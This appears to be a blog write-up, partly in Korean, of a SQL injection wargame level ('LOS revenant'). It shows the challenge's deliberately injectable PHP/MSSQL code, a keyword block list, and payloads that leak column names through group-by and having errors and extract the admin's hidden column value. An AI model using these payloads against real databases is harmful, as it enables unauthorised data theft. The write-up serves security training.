Post

LOS Lv.42 revenant

revenant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query : select * from prob_revenant where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

Solution

1
2
3
4
5개의 column 중 id, pw만 아는 상황.
우리는 id=admin의 5번째 column의 값을 알아내야 함.

group by를 통해 알아낼 수 있음.

https://zulloper.tistory.com/6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"5. 현재 테이블 조회"를 보면 ' having 1=1 --%20을 했더니?

Column 'prob_revenant.id' is invalid ~~~

이런 에러가 뜨면서 컬럼명이 나타남.

?id=' group by id --%20 -> prob_revenant.pw is ~~

이런식으로 5번째 컬럼명을 알아내면 됨.

?id=' group by id,pw,"45a88487","13477a35" --%20

-> 5번째 컬럼명은 "9604b0c8"임을 확인!

-> mssql에서는 double quotes로 컬럼명과 문자열을 구분하나봄.
-> single quote로 하면 문자열로 들어가는 듯함.
1
2
3
4
5
따라서 5번째 컬럼의 값을 알아내면 다음과 같음.

?id=admin' and 1=(select "9604b0c8") --%20

-> aa68a4b3fb327dee07f868450f7e1183

에러 발생 이유

https://blog.limelee.xyz/entry/LOS-revenant?category=711778

This post is licensed under CC BY 4.0 by the author.